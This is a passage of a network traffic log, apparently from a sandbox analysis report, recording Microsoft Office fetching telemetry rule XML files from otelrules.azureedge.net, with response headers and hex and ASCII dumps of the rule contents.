T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	59024	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:10 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1996b7fc-c01e-00a2-57a3-1b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183010Z-1597f696844jcvgbhxyvubykh400000000r000000000894k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	59025	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:10 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ea18a89c-b01e-001e-2d22-160214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bckrjvwv99v3r8pqn000000013000000000bn1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	59026	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: c078b21e-101e-0034-5333-1a96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-1597f696844wqd6lfkgu19yfdc00000003vg00000000skdw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	59027	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 003e1a19-601e-0070-7ce9-1ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bcghtlhf7uxqc3wnn00000002dg00000000kk3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	59028	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 94afa4f1-501e-0047-0aca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bc5qmxtyvgyzcay0c0000000nyg00000000dea0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	59029	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: a7eda23f-001e-0034-38d4-1bdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bcghtlhf7uxqc3wnn00000002a0000000014cza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	59030	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c33045cc-401e-0067-1f42-1a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-1597f696844jcvgbhxyvubykh400000000s0000000002qhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	59031	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: e5b5a791-201e-0071-25a3-1bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bc2w2dvheyq24wgc4000000027g000000001re9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	59032	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:11 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:11 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 57c70db3-001e-0028-2cb0-1bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183011Z-r154656d9bcc2bdtn1pd2qfd4c0000000ycg00000000rus5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:11 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	59033	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:12 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:12 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:12 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fd6ec8f2-f01e-005d-19ad-1b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183012Z-r154656d9bcp74cth8ay97rud4000000019g00000000mps0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:12 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	59035	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:13 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:13 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: dd8d0db8-801e-0083-31ec-1bf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183013Z-r154656d9bcwd5vj3zknz7qfhc0000000dmg00000000sq1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	59037	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:13 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:13 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3e4a505a-c01e-0046-3907-1c2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183013Z-1597f696844bcn2fz2c83qgev800000003fg00000000mb0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
